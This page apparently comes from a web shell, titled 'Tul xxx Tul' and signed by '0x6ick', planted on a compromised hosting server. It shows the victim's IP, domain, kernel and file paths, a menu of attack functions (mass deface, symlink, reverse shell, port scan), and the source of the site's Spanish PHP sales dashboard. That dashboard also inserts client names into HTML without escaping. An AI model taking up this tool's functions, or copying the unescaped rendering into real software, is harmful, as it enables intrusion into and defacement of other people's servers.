Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
app
/
views
/
dashboard
/
Viewing: index.php
<!-- ============================================ DASHBOARD ULTRA PROFESIONAL 2026 ============================================ --> <!-- Sección de Bienvenida --> <div class="dashboard-welcome-section mb-4"> <div class="row align-items-center"> <div class="col-12"> <h1 class="dashboard-welcome-title"> <i class="bi bi-sun-fill text-warning me-2"></i> ¡Bienvenido de nuevo, <?= explode(' ', Auth::user('nombre'))[0] ?>! </h1> <p class="dashboard-welcome-subtitle"> <?php $meses = ['Enero', 'Febrero', 'Marzo', 'Abril', 'Mayo', 'Junio', 'Julio', 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre']; $dias = ['Domingo', 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado']; $fecha = $dias[date('w')] . ', ' . date('d') . ' de ' . $meses[date('n')-1] . ' de ' . date('Y'); ?> Aquí está un resumen de tu negocio hoy, <?= $fecha ?> </p> </div> </div> </div> <!-- Tarjetas de Estadísticas Principales --> <div class="row g-4 mb-4"> <!-- Ventas del Mes --> <div class="col-xl-3 col-md-6"> <div class="stat-card-modern stat-card-primary"> <div class="stat-card-icon-wrapper"> <div class="stat-card-icon-bg primary-gradient"></div> <i class="bi bi-currency-dollar stat-card-icon-main"></i> </div> <div class="stat-card-content"> <h6 class="stat-card-label">Ventas Este Mes</h6> <h2 class="stat-card-value">$<?= number_format($ventasMesActual, 2) ?></h2> <div class="stat-card-change"> <?php if ($cambioVentas > 0): ?> <span class="badge-change badge-change-up"> <i class="bi bi-arrow-up"></i> <?= number_format(abs($cambioVentas), 1) ?>% </span> <span class="text-muted ms-2">vs mes anterior</span> <?php elseif ($cambioVentas < 0): ?> <span class="badge-change badge-change-down"> <i class="bi bi-arrow-down"></i> <?= number_format(abs($cambioVentas), 1) ?>% </span> <span class="text-muted ms-2">vs mes anterior</span> <?php else: ?> <span class="text-muted">Sin cambios</span> <?php endif; ?> </div> </div> </div> </div> <!-- Total Clientes --> <div class="col-xl-3 col-md-6"> <div class="stat-card-modern stat-card-success"> <div class="stat-card-icon-wrapper"> <div class="stat-card-icon-bg success-gradient"></div> <i class="bi bi-people-fill stat-card-icon-main"></i> </div> <div class="stat-card-content"> <h6 class="stat-card-label">Clientes Activos</h6> <h2 class="stat-card-value"><?= number_format($totalClientes) ?></h2> <div class="stat-card-change"> <a href="<?= BASE_URL ?>/clientes" class="stat-card-link"> Ver todos <i class="bi bi-arrow-right ms-1"></i> </a> </div> </div> </div> </div> <!-- Tareas Pendientes --> <div class="col-xl-3 col-md-6"> <div class="stat-card-modern stat-card-warning"> <div class="stat-card-icon-wrapper"> <div class="stat-card-icon-bg warning-gradient"></div> <i class="bi bi-list-check stat-card-icon-main"></i> </div> <div class="stat-card-content"> <h6 class="stat-card-label">Tareas Pendientes</h6> <h2 class="stat-card-value"><?= number_format($tareasPendientes) ?></h2> <div class="stat-card-change"> <span class="text-muted">De <?= number_format($totalTareas) ?> totales</span> </div> </div> </div> </div> <!-- Cotizaciones Pendientes --> <div class="col-xl-3 col-md-6"> <div class="stat-card-modern stat-card-info"> <div class="stat-card-icon-wrapper"> <div class="stat-card-icon-bg info-gradient"></div> <i class="bi bi-file-earmark-text-fill stat-card-icon-main"></i> </div> <div class="stat-card-content"> <h6 class="stat-card-label">Cotizaciones Pendientes</h6> <h2 class="stat-card-value"><?= number_format($cotizacionesPendientes) ?></h2> <div class="stat-card-change"> <a href="<?= BASE_URL ?>/cotizaciones" class="stat-card-link"> Revisar <i class="bi bi-arrow-right ms-1"></i> </a> </div> </div> </div> </div> </div> <!-- Gráficos Principales --> <div class="row g-4 mb-4"> <!-- Gráfico de Ventas --> <div class="col-xl-8"> <div class="dashboard-card"> <div class="dashboard-card-header"> <div> <h5 class="dashboard-card-title"> <i class="bi bi-graph-up text-primary me-2"></i> Rendimiento de Ventas </h5> <p class="dashboard-card-subtitle">Últimos 6 meses</p> </div> <div class="dashboard-card-actions"> <button class="btn btn-sm btn-light-custom"> <i class="bi bi-download me-1"></i>Exportar </button> </div> </div> <div class="dashboard-card-body"> <canvas id="ventasChart" style="max-height: 320px;"></canvas> </div> </div> </div> <!-- Gráfico de Tareas --> <div class="col-xl-4"> <div class="dashboard-card"> <div class="dashboard-card-header"> <div> <h5 class="dashboard-card-title"> <i class="bi bi-pie-chart text-info me-2"></i> Estado de Tareas </h5> <p class="dashboard-card-subtitle">Distribución actual</p> </div> </div> <div class="dashboard-card-body d-flex justify-content-center align-items-center"> <canvas id="tareasChart" style="max-height: 280px;"></canvas> </div> </div> </div> </div> <!-- Sección de Datos Adicionales --> <div class="row g-4 mb-4"> <!-- Top Clientes --> <div class="col-xl-6"> <div class="dashboard-card"> <div class="dashboard-card-header"> <div> <h5 class="dashboard-card-title"> <i class="bi bi-trophy text-warning me-2"></i> Top 5 Clientes </h5> <p class="dashboard-card-subtitle">Por volumen de ventas</p> </div> </div> <div class="dashboard-card-body p-0"> <div id="topClientesContainer"></div> </div> </div> </div> <!-- Estado de Cotizaciones --> <div class="col-xl-6"> <div class="dashboard-card"> <div class="dashboard-card-header"> <div> <h5 class="dashboard-card-title"> <i class="bi bi-bar-chart text-success me-2"></i> Estado de Cotizaciones </h5> <p class="dashboard-card-subtitle">Distribución por estado</p> </div> </div> <div class="dashboard-card-body"> <canvas id="cotizacionesChart" style="max-height: 280px;"></canvas> </div> </div> </div> </div> <!-- Actividad Reciente y Tareas Próximas --> <div class="row g-4"> <!-- Últimas Ventas --> <div class="col-xl-7"> <div class="dashboard-card"> <div class="dashboard-card-header"> <div> <h5 class="dashboard-card-title"> <i class="bi bi-clock-history text-primary me-2"></i> Actividad Reciente </h5> <p class="dashboard-card-subtitle">Últimas ventas registradas</p> </div> <a href="<?= BASE_URL ?>/ventas" class="btn btn-sm btn-light-custom"> Ver todas <i class="bi bi-arrow-right ms-1"></i> </a> </div> <div class="dashboard-card-body p-0"> <div class="activity-list"> <?php if (empty($recentActivity)): ?> <div class="empty-state"> <i class="bi bi-inbox empty-state-icon"></i> <p class="empty-state-text">No hay ventas recientes</p> </div> <?php else: ?> <?php foreach ($recentActivity as $act): ?> <div class="activity-item"> <div class="activity-icon activity-icon-success"> <i class="bi bi-cart-check-fill"></i> </div> <div class="activity-content"> <h6 class="activity-title"><?= htmlspecialchars($act['titulo']) ?></h6> <p class="activity-meta"> <span class="activity-client"> <i class="bi bi-person me-1"></i> <?= htmlspecialchars($act['cliente'] ?? 'Caja Rápida') ?> </span> <span class="activity-date"> <i class="bi bi-clock me-1"></i> <?php $date = date_create($act['fecha']); echo date_format($date, 'd/m/Y h:i A'); ?> </span> </p> </div> <div class="activity-amount"> $<?= number_format($act['monto'], 2) ?> </div> </div> <?php endforeach; ?> <?php endif; ?> </div> </div> </div> </div> <!-- Tareas Próximas --> <div class="col-xl-5"> <div class="dashboard-card"> <div class="dashboard-card-header"> <div> <h5 class="dashboard-card-title"> <i class="bi bi-list-task text-warning me-2"></i> Tareas Activas </h5> <p class="dashboard-card-subtitle">Pendientes y en progreso</p> </div> <a href="<?= BASE_URL ?>/tareas" class="btn btn-sm btn-light-custom"> Ver todas <i class="bi bi-arrow-right ms-1"></i> </a> </div> <div class="dashboard-card-body p-0"> <div class="tasks-list"> <?php if (empty($tareasProximas)): ?> <div class="empty-state"> <i class="bi bi-check-circle empty-state-icon"></i> <p class="empty-state-text">No hay tareas activas</p> </div> <?php else: ?> <?php foreach ($tareasProximas as $tarea): ?> <div class="task-item"> <div class="task-priority task-priority-<?= strtolower($tarea['estado']) ?>"></div> <div class="task-content"> <h6 class="task-title"><?= htmlspecialchars($tarea['titulo']) ?></h6> <p class="task-meta"> <?php if (!empty($tarea['empleado'])): ?> <span class="task-assignee"> <i class="bi bi-person-circle me-1"></i> <?= htmlspecialchars($tarea['empleado']) ?> </span> <?php endif; ?> <span class="task-deadline"> <i class="bi bi-calendar3 me-1"></i> <?php $fechaCreacion = date_create($tarea['fecha_creacion']); echo date_format($fechaCreacion, 'd/m/Y'); ?> </span> </p> </div> <span class="badge badge-estado-<?= strtolower($tarea['estado']) ?>"> <?php $estados = [ 'pendiente' => 'Pendiente', 'en_progreso' => 'En Progreso', 'completada' => 'Completada' ]; echo $estados[$tarea['estado']] ?? ucfirst($tarea['estado']); ?> </span> </div> <?php endforeach; ?> <?php endif; ?> </div> </div> </div> </div> </div> <!-- Estadísticas Adicionales (Mini Cards) --> <div class="row g-4 mt-2"> <div class="col-md-3"> <div class="mini-stat-card"> <div class="mini-stat-icon"> <i class="bi bi-person-badge-fill"></i> </div> <div class="mini-stat-content"> <h6 class="mini-stat-label">Empleados</h6> <h4 class="mini-stat-value"><?= number_format($totalEmpleados) ?></h4> </div> </div> </div> <div class="col-md-3"> <div class="mini-stat-card"> <div class="mini-stat-icon"> <i class="bi bi-stack"></i> </div> <div class="mini-stat-content"> <h6 class="mini-stat-label">Servicios</h6> <h4 class="mini-stat-value"><?= number_format($totalServicios) ?></h4> </div> </div> </div> <div class="col-md-3"> <div class="mini-stat-card"> <div class="mini-stat-icon"> <i class="bi bi-file-earmark-text"></i> </div> <div class="mini-stat-content"> <h6 class="mini-stat-label">Cotizaciones</h6> <h4 class="mini-stat-value"><?= number_format($totalCotizaciones) ?></h4> </div> </div> </div> <div class="col-md-3"> <div class="mini-stat-card"> <div class="mini-stat-icon"> <i class="bi bi-cash-stack"></i> </div> <div class="mini-stat-content"> <h6 class="mini-stat-label">Ingresos Totales</h6> <h4 class="mini-stat-value">$<?= number_format($totalVentas, 0) ?></h4> </div> </div> </div> </div> <!-- ======================= --> <!-- Scripts de Chart.js --> <!-- ======================= --> <script> document.addEventListener('DOMContentLoaded', function() { // Data desde PHP const ventasMensuales = <?= $ventasMensuales ?>; const tareasStatus = <?= $tareasStatus ?>; const topClientes = <?= $topClientes ?>; const cotizacionesEstado = <?= $cotizacionesEstado ?>; // Configuración global de Chart.js Chart.defaults.font.family = "'Inter', sans-serif"; Chart.defaults.color = '#6b7280'; // ======================================== // 1. GRÁFICO DE VENTAS (Área con Gradiente) // ======================================== const ctxVentas = document.getElementById('ventasChart'); if (ctxVentas && ventasMensuales.length > 0) { const labelsVentas = ventasMensuales.map(row => { const parts = row.mes.split('-'); if(parts.length === 2) { const mesNames = ["Ene", "Feb", "Mar", "Abr", "May", "Jun", "Jul", "Ago", "Sep", "Oct", "Nov", "Dic"]; return mesNames[parseInt(parts[1]) - 1] + " '" + parts[0].substring(2); } return row.mes; }); const dataVentas = ventasMensuales.map(row => parseFloat(row.total)); const cantidadVentas = ventasMensuales.map(row => parseInt(row.cantidad)); const gradientVentas = ctxVentas.getContext('2d').createLinearGradient(0, 0, 0, 300); gradientVentas.addColorStop(0, 'rgba(67, 97, 238, 0.3)'); gradientVentas.addColorStop(1, 'rgba(67, 97, 238, 0.01)'); new Chart(ctxVentas, { type: 'line', data: { labels: labelsVentas, datasets: [{ label: 'Ingresos ($)', data: dataVentas, borderColor: '#4361ee', backgroundColor: gradientVentas, borderWidth: 3, pointBackgroundColor: '#fff', pointBorderColor: '#4361ee', pointBorderWidth: 3, pointRadius: 6, pointHoverRadius: 8, pointHoverBackgroundColor: '#4361ee', pointHoverBorderColor: '#fff', pointHoverBorderWidth: 3, fill: true, tension: 0.4 }] }, options: { responsive: true, maintainAspectRatio: false, plugins: { legend: { display: false }, tooltip: { backgroundColor: 'rgba(0, 0, 0, 0.8)', padding: 16, titleFont: { size: 14, weight: '600' }, bodyFont: { size: 14 }, borderColor: 'rgba(67, 97, 238, 0.3)', borderWidth: 1, displayColors: false, callbacks: { label: function(context) { return 'Ingresos: $' + context.parsed.y.toLocaleString('es-MX', {minimumFractionDigits: 2}); }, afterLabel: function(context) { const idx = context.dataIndex; return 'Ventas: ' + cantidadVentas[idx]; } } } }, scales: { x: { grid: { display: false, drawBorder: false }, ticks: { font: { size: 13, weight: '500' }, color: '#6b7280' } }, y: { grid: { color: 'rgba(0,0,0,0.04)', drawBorder: false }, ticks: { font: { size: 13, weight: '500' }, color: '#6b7280', callback: function(value) { return '$' + value.toLocaleString(); } } } }, interaction: { mode: 'index', intersect: false } } }); } // ======================================== // 2. GRÁFICO DE TAREAS (Doughnut) // ======================================== const ctxTareas = document.getElementById('tareasChart'); if (ctxTareas && tareasStatus.length > 0) { const colores = { 'pendiente': '#ef476f', 'en_progreso': '#ffd166', 'completada': '#06d6a0' }; const labelsTareas = tareasStatus.map(row => { const estado = row.estado.replace('_', ' '); return estado.charAt(0).toUpperCase() + estado.slice(1); }); const dataTareas = tareasStatus.map(row => parseInt(row.cantidad)); const bgColors = tareasStatus.map(row => colores[row.estado.toLowerCase()] || '#4361ee'); new Chart(ctxTareas, { type: 'doughnut', data: { labels: labelsTareas, datasets: [{ data: dataTareas, backgroundColor: bgColors, borderWidth: 0, hoverOffset: 8 }] }, options: { responsive: true, maintainAspectRatio: false, cutout: '70%', plugins: { legend: { position: 'bottom', labels: { usePointStyle: true, padding: 20, font: { size: 13, weight: '500' } } }, tooltip: { backgroundColor: 'rgba(0, 0, 0, 0.8)', padding: 16, bodyFont: { size: 14, weight: '500' }, callbacks: { label: function(context) { return context.label + ': ' + context.parsed + ' tareas'; } } } } } }); } // ======================================== // 3. TOP CLIENTES (Barras Horizontales) // ======================================== if (topClientes.length > 0) { const container = document.getElementById('topClientesContainer'); let html = '<div class="top-clientes-list">'; topClientes.forEach((cliente, index) => { const maxVenta = Math.max(...topClientes.map(c => parseFloat(c.total_ventas))); const porcentaje = (parseFloat(cliente.total_ventas) / maxVenta) * 100; html += ` <div class="top-cliente-item"> <div class="top-cliente-rank">${index + 1}</div> <div class="top-cliente-info"> <h6 class="top-cliente-name">${cliente.nombre}</h6> <div class="top-cliente-bar"> <div class="top-cliente-bar-fill" style="--target-width: ${porcentaje}%"></div> </div> <div class="top-cliente-stats"> <span class="top-cliente-amount">$${parseFloat(cliente.total_ventas).toLocaleString('es-MX', {minimumFractionDigits: 2})}</span> <span class="top-cliente-count">${cliente.num_ventas} ventas</span> </div> </div> </div> `; }); html += '</div>'; container.innerHTML = html; // Animar las barras después de un pequeño delay setTimeout(() => { document.querySelectorAll('.top-cliente-bar-fill').forEach(bar => { const targetWidth = bar.style.getPropertyValue('--target-width'); bar.style.width = targetWidth; }); }, 100); } // ======================================== // 4. GRÁFICO DE COTIZACIONES (Barras) // ======================================== const ctxCotizaciones = document.getElementById('cotizacionesChart'); if (ctxCotizaciones && cotizacionesEstado.length > 0) { const estadosMap = { 'pendiente': { label: 'Pendiente', color: '#ffd166' }, 'aprobada': { label: 'Aprobada', color: '#06d6a0' }, 'rechazada': { label: 'Rechazada', color: '#ef476f' }, 'vencida': { label: 'Vencida', color: '#9ca3af' }, 'convertida': { label: 'Convertida', color: '#4361ee' } }; const labelsCot = cotizacionesEstado.map(row => estadosMap[row.estado]?.label || row.estado); const dataCot = cotizacionesEstado.map(row => parseInt(row.cantidad)); const colorsCot = cotizacionesEstado.map(row => estadosMap[row.estado]?.color || '#4361ee'); new Chart(ctxCotizaciones, { type: 'bar', data: { labels: labelsCot, datasets: [{ label: 'Cotizaciones', data: dataCot, backgroundColor: colorsCot, borderRadius: 8, borderSkipped: false }] }, options: { responsive: true, maintainAspectRatio: false, plugins: { legend: { display: false }, tooltip: { backgroundColor: 'rgba(0, 0, 0, 0.8)', padding: 16, bodyFont: { size: 14, weight: '500' }, callbacks: { label: function(context) { return context.parsed.y + ' cotizaciones'; } } } }, scales: { x: { grid: { display: false, drawBorder: false }, ticks: { font: { size: 13, weight: '500' }, color: '#6b7280' } }, y: { grid: { color: 'rgba(0,0,0,0.04)', drawBorder: false }, ticks: { font: { size: 13, weight: '500' }, color: '#6b7280', stepSize: 1 } } } } }); } }); </script>
Coded With 💗 by
0x6ick